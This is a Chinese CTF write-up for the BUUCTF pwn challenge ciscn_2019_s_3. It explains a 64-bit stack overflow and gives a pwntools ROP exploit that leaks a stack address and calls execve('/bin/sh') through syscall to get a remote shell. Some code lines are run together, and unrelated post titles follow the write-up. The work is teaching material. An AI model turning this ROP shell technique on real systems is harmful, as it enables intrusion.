[BUUCTF-pwn]——ciscn_2019_s_3

  • 题目地址:https://buuoj.cn/challenges#ciscn_2019_s_3

peak 小知识

写这道题之前, 大家首先要了解, 想要获得一个shell, 除了system("/bin/sh") 以外, 还有一种更好的方法, 就是系统调用中的 execve("/bin/sh", NULL, NULL)获得shell。我们可以在 Linxu系统调用号表 中找到对应的系统调用号,进行调用, 其中32位程序系统调用号用 eax 储存, 第一 、 二 、 三参数分别在 ebx 、ecx 、edx中储存。 可以用 int 80 汇编指令调用。64位程序系统调用号用 rax 储存, 第一 、 二 、 三参数分别在 rdi 、rsi 、rdx中储存。 可以用 syscall 汇编指令调用。

首先checksec一下,还是老样子只开了NX保护,不过是64位。

在IDA 中,发现了系统调用。


进入汇编看看


ROPgadget找找可能用到的汇编指令

思路

该题是64位程序, execve的系统调用号为0x3b也就是59 。可以发现该程序有两个系统调用第一个 sys_read和第二个sys_write,其实和read函数和write函数用法相同。观察vuln函数的汇编指令,我们可以看到,它没有lea指令,也就是说,执行完毕后它的栈不会清空,我们可以将'/bin/sh'字符串写入buf,计算出buf的地址(rbp - 0x10)就可以在循环调用的时候再次利用。
注意:vuln中没有leave指令,也就是说ebp就是它的返回地址
下面我们要给rax赋值0x3b,将buf的地址,储存到rdi寄存器中,给rsi、rdx寄存器中储存0。我们找到对应的汇编指令组成rop链就好,重点的、需要用到的汇编指令都圈出来了。计算距离的话在pwndbg上面计算就好。

exploit

from pwn import *
p = remote("node3.buuoj.cn",26201)
context.log_level = 'debug'
main_addr=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15_ret=0x40059A
mov_rdxr13_call=0x0400580
syscall=0x00400517
binsh = '/bin/sh\x00'
payload = binsh.ljust(0x10, 'a') + p64(main_addr)p.sendline(payload)
p.recv(0x20)
binsh_addr = u64(p.recv(8))-280
print(hex(binsh_addr))payload = binsh.ljust(0x10, 'a') + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + p64(0) + p64(0) + p64(binsh_addr+0x50) + p64(0)*2 + p64(1)
payload += p64(mov_rdxr13_call) + p64(execv)
payload += p64(pop_rdi) + p64(binsh_addr) + p64(syscall)
p.sendline(payload)p.interactive()

[BUUCTF-pwn]——ciscn_2019_s_3相关推荐

  1. BUUCTF(pwn) ciscn_2019_s_3 [ 栈溢出SROP攻击]

    64位,开启了NX保护 main函数调用了vuln  在程序之中的gadgets存在着两个为rax赋值的gadget execve的系统调用可以参照vuln中的调用找gadget实现,这里采用SROP ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  4. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  5. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  10. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. 不使用临时表,仅使用select实现查询出多行常数
  2. Linux 编译安装内核
  3. kettle的基本介绍
  4. 数据仓库中的SQL性能优化 - Hive篇
  5. sharepoint对象模型性能比较
  6. 浅入浅出理解傅里叶变换
  7. java线程深入_深入聊聊Java多线程
  8. 在DOS下修改本机IP地址
  9. 玩转 Springboot 2 之热部署(DevTools)
  10. 阿里华为百度三足鼎立,5G 资费高,操作系统 Linux 称王 | 中国物联网开发者真实现状报告...
  11. Java编程:排序算法——插入排序
  12. Android自定义字体
  13. LR11中将IE9降级为IE8
  14. 基于python+django框架+Mysql数据库的旅游景区景点售票系统设计与实现
  15. HourGlass源码阅读
  16. 阿里云服务器不能发邮件解决方法
  17. TADK v22.09 Release
  18. 订单可视化(智能制造、流程再造、企业信息化) 第六篇 万事开头难,第一阶段的得与失...
  19. python爬取新闻存入数据库_python爬取数据存入数据库
  20. 电视缓存框架videocache

热门文章

  1. python123电脑登录不了_Python-用户登陆,密码失败3次,账户将被锁住(login)
  2. 进口配额管理和出口配额管理_SAP采购管理模块中的quot;配额协议quot;应用详解...
  3. Swift之Codable自定义解析将任意数据类型解析为想要的类型
  4. LeetCode Algorithm 240. 搜索二维矩阵 II
  5. 1356. Sort Integers by The Number of 1 Bits 根据数字二进制下 1 的数目排序
  6. 312. Burst Balloons 戳气球
  7. 理解Python中整型对象存储的位置
  8. 利用Python延迟初始化提升性能
  9. django.template.exceptions.TemplateDoesNotExist: rest_framework/api.html
  10. ACM-数论 —— 一.整除的性质